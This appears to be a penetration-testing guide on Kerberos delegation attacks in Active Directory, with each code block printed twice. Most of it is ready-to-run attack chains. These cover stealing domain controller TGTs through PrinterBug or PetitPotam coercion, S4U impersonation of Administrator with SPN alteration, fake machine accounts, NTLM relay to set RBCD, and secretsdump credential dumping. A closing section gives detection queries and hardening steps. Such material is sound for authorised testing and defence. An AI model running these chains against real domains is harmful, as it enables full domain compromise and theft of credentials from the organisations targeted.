Exploitation T1558 T1134

Kerberos Delegation Attacks

Kerberos delegation allows services to impersonate users when accessing other services. Misconfigurations in unconstrained, constrained, and resource-based constrained delegation (RBCD) are among the most powerful and commonly exploited AD attack vectors, enabling full domain compromise from a single misconfigured object.

Danger

Delegation attacks can result in immediate domain admin compromise. Always validate scope authorization before testing — modifying msDS-AllowedToActOnBehalfOfOtherIdentity changes AD object attributes.

🎯 Why Delegation Attacks Are Critical

  • Extremely Common: Most enterprise AD environments have at least one misconfigured delegation — especially RBCD write permissions via default MachineAccountQuota.
  • Direct DA Path: Unconstrained delegation on any server caches Domain Admin TGTs, enabling immediate domain compromise with a single coercion trigger.
  • Low Detection: S4U requests blend with normal Kerberos traffic — most SIEMs don't alert on delegation abuse without specific analytics.
  • Chaining Power: RBCD + coercion (PetitPotam/PrinterBug) chains are the #1 modern AD compromise path, bypassing need for any credentials.

Delegation Overview

Kerberos delegation enables a service to act on behalf of a user when accessing another service. There are three types, each with different security implications:

Type AD Attribute Risk Level Description
Unconstrained TRUSTED_FOR_DELEGATION Critical Server caches user TGTs in memory — any user's ticket can be extracted
Constrained msDS-AllowedToDelegateTo High Service can impersonate users to specific SPNs (S4U2Proxy)
RBCD msDS-AllowedToActOnBehalfOfOtherIdentity High Target service specifies who can delegate TO it — writable by resource owner

Enumeration & Discovery

Find Delegation Targets with BloodHound

text
# BloodHound Cypher queries for delegation
# Unconstrained delegation (excluding DCs)
MATCH (c:Computer {unconstraineddelegation:true}) 
WHERE NOT c.name CONTAINS 'DC' RETURN c.name

# Constrained delegation
MATCH (c) WHERE c.allowedtodelegate IS NOT NULL 
RETURN c.name, c.allowedtodelegate

# RBCD — who can write msDS-AllowedToActOnBehalfOfOtherIdentity?
MATCH p=(u)-[:GenericAll|GenericWrite|WriteOwner|WriteDacl|Owns]->(c:Computer) 
RETURN p
# BloodHound Cypher queries for delegation
# Unconstrained delegation (excluding DCs)
MATCH (c:Computer {unconstraineddelegation:true}) 
WHERE NOT c.name CONTAINS 'DC' RETURN c.name

# Constrained delegation
MATCH (c) WHERE c.allowedtodelegate IS NOT NULL 
RETURN c.name, c.allowedtodelegate

# RBCD — who can write msDS-AllowedToActOnBehalfOfOtherIdentity?
MATCH p=(u)-[:GenericAll|GenericWrite|WriteOwner|WriteDacl|Owns]->(c:Computer) 
RETURN p

LDAP Enumeration

bash
# Find unconstrained delegation with ldapsearch
ldapsearch -x -H ldap://dc01.corp.local -b "DC=corp,DC=local" \
  "(userAccountControl:1.2.840.113556.1.4.803:=524288)" dn

# Find constrained delegation (msDS-AllowedToDelegateTo set)
ldapsearch -x -H ldap://dc01.corp.local -b "DC=corp,DC=local" \
  "(msDS-AllowedToDelegateTo=*)" dn msDS-AllowedToDelegateTo

# PowerView — enumerate all delegation types
Get-DomainComputer -Unconstrained | Select-Object name
Get-DomainComputer -TrustedToAuth | Select-Object name, msds-allowedtodelegateto
Get-DomainComputer | Where-Object { $_.'msds-allowedtoactonbehalfofotheridentity' } | Select-Object name

# NetExec — quick check
nxc ldap dc01.corp.local -u user -p 'Pass123' --delegations
# Find unconstrained delegation with ldapsearch
ldapsearch -x -H ldap://dc01.corp.local -b "DC=corp,DC=local" \
  "(userAccountControl:1.2.840.113556.1.4.803:=524288)" dn

# Find constrained delegation (msDS-AllowedToDelegateTo set)
ldapsearch -x -H ldap://dc01.corp.local -b "DC=corp,DC=local" \
  "(msDS-AllowedToDelegateTo=*)" dn msDS-AllowedToDelegateTo

# PowerView — enumerate all delegation types
Get-DomainComputer -Unconstrained | Select-Object name
Get-DomainComputer -TrustedToAuth | Select-Object name, msds-allowedtodelegateto
Get-DomainComputer | Where-Object { $_.'msds-allowedtoactonbehalfofotheridentity' } | Select-Object name

# NetExec — quick check
nxc ldap dc01.corp.local -u user -p 'Pass123' --delegations

Tools & Setup

Impacket (Linux)

getST.py, rbcd.py, secretsdump.py, ntlmrelayx.py

pip install impacket

Rubeus (Windows)

s4u, tgtdeleg, monitor, asktgt, harvest

GhostPack/Rubeus (compile from source)

StandIn (.NET)

RBCD setting, machine account creation, DACL abuse

FuzzySecurity/StandIn

krbrelayx (Linux)

Relay Kerberos auth, unconstrained delegation abuse

dirkjanm/krbrelayx

Unconstrained Delegation

When a computer is trusted for unconstrained delegation, it stores the TGT of any user who authenticates to it. If you compromise that machine, you can extract all cached TGTs — including those of Domain Admins.

Attack: Monitor & Extract TGTs

powershell
# Rubeus — monitor for incoming TGTs on compromised server
Rubeus.exe monitor /interval:5 /nowrap

# Rubeus — extract TGTs from memory
Rubeus.exe triage
Rubeus.exe dump /luid:0x12345 /nowrap

# Use captured TGT to access DC
Rubeus.exe ptt /ticket:<base64-ticket>
dir \\dc01.corp.local\c$
# Rubeus — monitor for incoming TGTs on compromised server
Rubeus.exe monitor /interval:5 /nowrap

# Rubeus — extract TGTs from memory
Rubeus.exe triage
Rubeus.exe dump /luid:0x12345 /nowrap

# Use captured TGT to access DC
Rubeus.exe ptt /ticket:<base64-ticket>
dir \\dc01.corp.local\c$

Attack: Coercion + Unconstrained (Printer Bug)

Force a DC to authenticate to your unconstrained delegation host using the Print Spooler (PrinterBug) or PetitPotam. The DC's TGT gets cached on your controlled host.

bash
# Step 1: Start monitoring on the unconstrained delegation machine
Rubeus.exe monitor /interval:5 /filteruser:dc01$ /nowrap

# Step 2: Trigger coercion from attacker machine
# PrinterBug (SpoolSample)
SpoolSample.exe dc01.corp.local unconstrained-host.corp.local

# PetitPotam (unauthenticated if patched, auth if not)
python3 PetitPotam.py unconstrained-host.corp.local dc01.corp.local

# Step 3: Grab the DC TGT from Rubeus output and pass it
Rubeus.exe ptt /ticket:<DC-TGT-base64>

# Step 4: DCSync with DA-equivalent access
secretsdump.py 'corp.local/dc01$@dc01.corp.local' -k -no-pass
# Step 1: Start monitoring on the unconstrained delegation machine
Rubeus.exe monitor /interval:5 /filteruser:dc01$ /nowrap

# Step 2: Trigger coercion from attacker machine
# PrinterBug (SpoolSample)
SpoolSample.exe dc01.corp.local unconstrained-host.corp.local

# PetitPotam (unauthenticated if patched, auth if not)
python3 PetitPotam.py unconstrained-host.corp.local dc01.corp.local

# Step 3: Grab the DC TGT from Rubeus output and pass it
Rubeus.exe ptt /ticket:<DC-TGT-base64>

# Step 4: DCSync with DA-equivalent access
secretsdump.py 'corp.local/dc01$@dc01.corp.local' -k -no-pass

Warning

OPSEC Warning: The PrinterBug requires the Print Spooler service to be running on the DC. Many hardened environments disable it. PetitPotam may work as an alternative if MS-EFSRPC is available.

Constrained Delegation (S4U2Proxy)

Constrained delegation limits which services an account can impersonate to. However, with access to the delegating account's credentials or TGT, you can abuse S4U2Self + S4U2Proxy to get tickets for any user to the allowed services. The SPN in the ticket can also be changed (SPN mismatch is not validated).

Attack: S4U2Proxy with NTLM Hash

bash
# Scenario: svc-sql account is constrained to delegate to MSSQLSvc/sql01.corp.local
# You have svc-sql's NTLM hash

# Impacket — request ticket as Administrator to the target SPN
getST.py -spn MSSQLSvc/sql01.corp.local -impersonate Administrator \
  -hashes :a1b2c3d4e5f6 corp.local/svc-sql

# Export and use the ticket
export KRB5CCNAME=Administrator@MSSQLSvc_sql01.corp.local@CORP.LOCAL.ccache
mssqlclient.py -k sql01.corp.local

# SPN alteration — delegate says CIFS only, but modify SPN to LDAP
# The service name in ticket is NOT validated by target
getST.py -spn 'cifs/dc01.corp.local' -impersonate Administrator \
  -altservice 'ldap/dc01.corp.local' \
  -hashes :a1b2c3d4e5f6 corp.local/svc-web
# Scenario: svc-sql account is constrained to delegate to MSSQLSvc/sql01.corp.local
# You have svc-sql's NTLM hash

# Impacket — request ticket as Administrator to the target SPN
getST.py -spn MSSQLSvc/sql01.corp.local -impersonate Administrator \
  -hashes :a1b2c3d4e5f6 corp.local/svc-sql

# Export and use the ticket
export KRB5CCNAME=Administrator@MSSQLSvc_sql01.corp.local@CORP.LOCAL.ccache
mssqlclient.py -k sql01.corp.local

# SPN alteration — delegate says CIFS only, but modify SPN to LDAP
# The service name in ticket is NOT validated by target
getST.py -spn 'cifs/dc01.corp.local' -impersonate Administrator \
  -altservice 'ldap/dc01.corp.local' \
  -hashes :a1b2c3d4e5f6 corp.local/svc-web

Attack: S4U2Proxy with Rubeus (Windows)

powershell
# Get TGT for the constrained delegation account
Rubeus.exe asktgt /user:svc-sql /rc4:a1b2c3d4e5f6 /nowrap

# S4U — impersonate DA to the allowed SPN
Rubeus.exe s4u /ticket:<tgt-base64> /impersonateuser:Administrator \
  /msdsspn:MSSQLSvc/sql01.corp.local /ptt

# With protocol transition (TRUSTED_TO_AUTH_FOR_DELEGATION)
# S4U2Self + S4U2Proxy full chain
Rubeus.exe s4u /ticket:<tgt-base64> /impersonateuser:Administrator \
  /msdsspn:cifs/dc01.corp.local /altservice:ldap /ptt

# Verify access
dir \\dc01.corp.local\c$
# Get TGT for the constrained delegation account
Rubeus.exe asktgt /user:svc-sql /rc4:a1b2c3d4e5f6 /nowrap

# S4U — impersonate DA to the allowed SPN
Rubeus.exe s4u /ticket:<tgt-base64> /impersonateuser:Administrator \
  /msdsspn:MSSQLSvc/sql01.corp.local /ptt

# With protocol transition (TRUSTED_TO_AUTH_FOR_DELEGATION)
# S4U2Self + S4U2Proxy full chain
Rubeus.exe s4u /ticket:<tgt-base64> /impersonateuser:Administrator \
  /msdsspn:cifs/dc01.corp.local /altservice:ldap /ptt

# Verify access
dir \\dc01.corp.local\c$

Information

SPN Alteration: Kerberos does not validate the service name in the ticket against the target. If constrained delegation allows access to cifs/host, you can use /altservice:ldap to change the SPN to ldap/host — enabling DCSync from a CIFS-only delegation.

Resource-Based Constrained Delegation (RBCD)

RBCD flips constrained delegation — instead of the front-end service saying "I can delegate to X", the back-end resource says "X can delegate to me" via msDS-AllowedToActOnBehalfOfOtherIdentity. Anyone who can write to this attribute on a target computer can configure delegation to it.

Prerequisites for RBCD Attack

Requirement How to Get It
Write access to target's msDS-AllowedToActOnBehalfOfOtherIdentity GenericAll, GenericWrite, WriteProperty, or WriteDacl on target computer
Control of a computer account with SPN Create one via MachineAccountQuota (default: 10), or compromise existing
Know the password/hash of controlled machine Set password during creation, or extract from compromised host

Attack: Full RBCD Chain (Impacket)

bash
# Step 1: Create a machine account (using MachineAccountQuota)
addcomputer.py -computer-name 'FAKECOMP$' -computer-pass 'FakePass123!' \
  -dc-ip 10.10.10.10 'corp.local/lowpriv:Password1'

# Step 2: Set RBCD — configure target to trust our fake computer
rbcd.py -delegate-from 'FAKECOMP$' -delegate-to 'TARGET-SRV$' \
  -dc-ip 10.10.10.10 -action write 'corp.local/lowpriv:Password1'

# Step 3: Get service ticket as admin to the target via S4U
getST.py -spn cifs/target-srv.corp.local -impersonate Administrator \
  -dc-ip 10.10.10.10 'corp.local/FAKECOMP$:FakePass123!'

# Step 4: Use the ticket
export KRB5CCNAME=Administrator@cifs_target-srv.corp.local@CORP.LOCAL.ccache
smbclient.py -k -no-pass target-srv.corp.local
secretsdump.py -k -no-pass target-srv.corp.local
# Step 1: Create a machine account (using MachineAccountQuota)
addcomputer.py -computer-name 'FAKECOMP$' -computer-pass 'FakePass123!' \
  -dc-ip 10.10.10.10 'corp.local/lowpriv:Password1'

# Step 2: Set RBCD — configure target to trust our fake computer
rbcd.py -delegate-from 'FAKECOMP$' -delegate-to 'TARGET-SRV$' \
  -dc-ip 10.10.10.10 -action write 'corp.local/lowpriv:Password1'

# Step 3: Get service ticket as admin to the target via S4U
getST.py -spn cifs/target-srv.corp.local -impersonate Administrator \
  -dc-ip 10.10.10.10 'corp.local/FAKECOMP$:FakePass123!'

# Step 4: Use the ticket
export KRB5CCNAME=Administrator@cifs_target-srv.corp.local@CORP.LOCAL.ccache
smbclient.py -k -no-pass target-srv.corp.local
secretsdump.py -k -no-pass target-srv.corp.local

Attack: RBCD with Rubeus + StandIn (Windows)

powershell
# Step 1: Create machine account
StandIn.exe --computer FAKECOMP --make

# Step 2: Set RBCD on target
StandIn.exe --computer TARGET-SRV --sid <FAKECOMP-SID>

# Step 3: Get TGT for fake machine account
Rubeus.exe asktgt /user:FAKECOMP$ /password:FakePass123! /nowrap

# Step 4: S4U — impersonate admin to target
Rubeus.exe s4u /ticket:<tgt-base64> /impersonateuser:Administrator \
  /msdsspn:cifs/target-srv.corp.local /ptt

# Step 5: Access the target
dir \\target-srv.corp.local\c$
# Step 1: Create machine account
StandIn.exe --computer FAKECOMP --make

# Step 2: Set RBCD on target
StandIn.exe --computer TARGET-SRV --sid <FAKECOMP-SID>

# Step 3: Get TGT for fake machine account
Rubeus.exe asktgt /user:FAKECOMP$ /password:FakePass123! /nowrap

# Step 4: S4U — impersonate admin to target
Rubeus.exe s4u /ticket:<tgt-base64> /impersonateuser:Administrator \
  /msdsspn:cifs/target-srv.corp.local /ptt

# Step 5: Access the target
dir \\target-srv.corp.local\c$

Attack: RBCD via Coercion (No Credentials)

Combine NTLM relay with coercion to set RBCD without any starting credentials. Relay the coerced authentication to LDAP and configure RBCD on the target.

bash
# Step 1: Start ntlmrelayx targeting LDAP, configuring RBCD
ntlmrelayx.py -t ldaps://dc01.corp.local \
  --delegate-access --escalate-user 'FAKECOMP$'

# Step 2: Coerce authentication from the target machine
python3 PetitPotam.py attacker-ip target-srv.corp.local

# ntlmrelayx sets msDS-AllowedToActOnBehalfOfOtherIdentity on TARGET-SRV$
# pointing to FAKECOMP$ — now complete the S4U chain as above

# Step 3: Get service ticket
getST.py -spn cifs/target-srv.corp.local -impersonate Administrator \
  -dc-ip 10.10.10.10 'corp.local/FAKECOMP$:FakePass123!'

# Step 4: Profit
export KRB5CCNAME=Administrator@cifs_target-srv.corp.local@CORP.LOCAL.ccache
secretsdump.py -k -no-pass target-srv.corp.local
# Step 1: Start ntlmrelayx targeting LDAP, configuring RBCD
ntlmrelayx.py -t ldaps://dc01.corp.local \
  --delegate-access --escalate-user 'FAKECOMP$'

# Step 2: Coerce authentication from the target machine
python3 PetitPotam.py attacker-ip target-srv.corp.local

# ntlmrelayx sets msDS-AllowedToActOnBehalfOfOtherIdentity on TARGET-SRV$
# pointing to FAKECOMP$ — now complete the S4U chain as above

# Step 3: Get service ticket
getST.py -spn cifs/target-srv.corp.local -impersonate Administrator \
  -dc-ip 10.10.10.10 'corp.local/FAKECOMP$:FakePass123!'

# Step 4: Profit
export KRB5CCNAME=Administrator@cifs_target-srv.corp.local@CORP.LOCAL.ccache
secretsdump.py -k -no-pass target-srv.corp.local

Tip

Cleanup: Always remove the RBCD attribute after testing: rbcd.py -delegate-from 'FAKECOMP$' -delegate-to 'TARGET-SRV$' -action flush -dc-ip 10.10.10.10 'corp.local/lowpriv:Password1'

S4U Attack Chains Deep Dive

S4U (Service for User) consists of two Kerberos extensions that enable delegation:

Extension Purpose Who Can Use It
S4U2Self Get a forwardable service ticket for any user to yourself Accounts with TRUSTED_TO_AUTH_FOR_DELEGATION or RBCD target
S4U2Proxy Exchange a forwardable ticket for a ticket to another service Accounts with constrained delegation or RBCD configured

Full S4U Chain: Protocol Transition

bash
# When TRUSTED_TO_AUTH_FOR_DELEGATION is set, S4U2Self returns a forwardable ticket
# This means you can impersonate ANY user (including DA) without their password

# Chain: S4U2Self (get ticket as admin to self) → S4U2Proxy (forward to target SPN)
# Using Rubeus
Rubeus.exe s4u /user:svc-web /rc4:a1b2c3d4 \
  /impersonateuser:Administrator \
  /msdsspn:cifs/fileserver.corp.local /ptt

# Using Impacket
getST.py -spn cifs/fileserver.corp.local -impersonate Administrator \
  -hashes :a1b2c3d4 corp.local/svc-web

# RBCD variant — S4U2Self ticket is always forwardable for RBCD
# Even without TRUSTED_TO_AUTH_FOR_DELEGATION
getST.py -spn cifs/target.corp.local -impersonate Administrator \
  corp.local/'FAKECOMP$':'FakePass123!'
# When TRUSTED_TO_AUTH_FOR_DELEGATION is set, S4U2Self returns a forwardable ticket
# This means you can impersonate ANY user (including DA) without their password

# Chain: S4U2Self (get ticket as admin to self) → S4U2Proxy (forward to target SPN)
# Using Rubeus
Rubeus.exe s4u /user:svc-web /rc4:a1b2c3d4 \
  /impersonateuser:Administrator \
  /msdsspn:cifs/fileserver.corp.local /ptt

# Using Impacket
getST.py -spn cifs/fileserver.corp.local -impersonate Administrator \
  -hashes :a1b2c3d4 corp.local/svc-web

# RBCD variant — S4U2Self ticket is always forwardable for RBCD
# Even without TRUSTED_TO_AUTH_FOR_DELEGATION
getST.py -spn cifs/target.corp.local -impersonate Administrator \
  corp.local/'FAKECOMP$':'FakePass123!'

Detection & Blue Team

Windows Event IDs

Event ID Source Indicator
4768 Security TGT request — look for machine accounts requesting TGTs with unusual encryption (RC4 instead of AES)
4769 Security Service ticket request — S4U2Proxy shows Transited Services field populated
4770 Security Service ticket renewed — unusual renewal patterns for delegation
5136 Security Directory object modified — watch for msDS-AllowedToActOnBehalfOfOtherIdentity changes (RBCD)
4741 Security Computer account created — MachineAccountQuota abuse for RBCD

Sigma / KQL Detection Rules

text
// KQL — Detect RBCD attribute modifications
SecurityEvent
| where EventID == 5136
| where ObjectClass == "computer"
| where AttributeLDAPDisplayName == "msDS-AllowedToActOnBehalfOfOtherIdentity"
| project TimeGenerated, SubjectUserName, ObjectDN, OperationType

// KQL — Detect suspicious machine account creation
SecurityEvent
| where EventID == 4741
| where SubjectUserName !endswith "$"  // Non-machine creating machine accounts
| project TimeGenerated, SubjectUserName, TargetUserName, SubjectDomainName

// KQL — Detect S4U2Proxy ticket requests (Transited Services populated)
SecurityEvent
| where EventID == 4769
| where TransitedServices != ""
| project TimeGenerated, TargetUserName, ServiceName, TransitedServices, IpAddress
// KQL — Detect RBCD attribute modifications
SecurityEvent
| where EventID == 5136
| where ObjectClass == "computer"
| where AttributeLDAPDisplayName == "msDS-AllowedToActOnBehalfOfOtherIdentity"
| project TimeGenerated, SubjectUserName, ObjectDN, OperationType

// KQL — Detect suspicious machine account creation
SecurityEvent
| where EventID == 4741
| where SubjectUserName !endswith "$"  // Non-machine creating machine accounts
| project TimeGenerated, SubjectUserName, TargetUserName, SubjectDomainName

// KQL — Detect S4U2Proxy ticket requests (Transited Services populated)
SecurityEvent
| where EventID == 4769
| where TransitedServices != ""
| project TimeGenerated, TargetUserName, ServiceName, TransitedServices, IpAddress

Prevention & Hardening

Disable Unconstrained Delegation

Remove TRUSTED_FOR_DELEGATION from all non-DC computers. Only DCs need unconstrained delegation.

Set MachineAccountQuota to 0

Prevents unprivileged users from creating machine accounts used in RBCD attacks.

Protected Users Group

Add DA accounts to Protected Users — prevents delegation and forces AES-only Kerberos.

Audit DACL Permissions

Regularly audit who has GenericWrite/GenericAll on computer objects — these enable RBCD.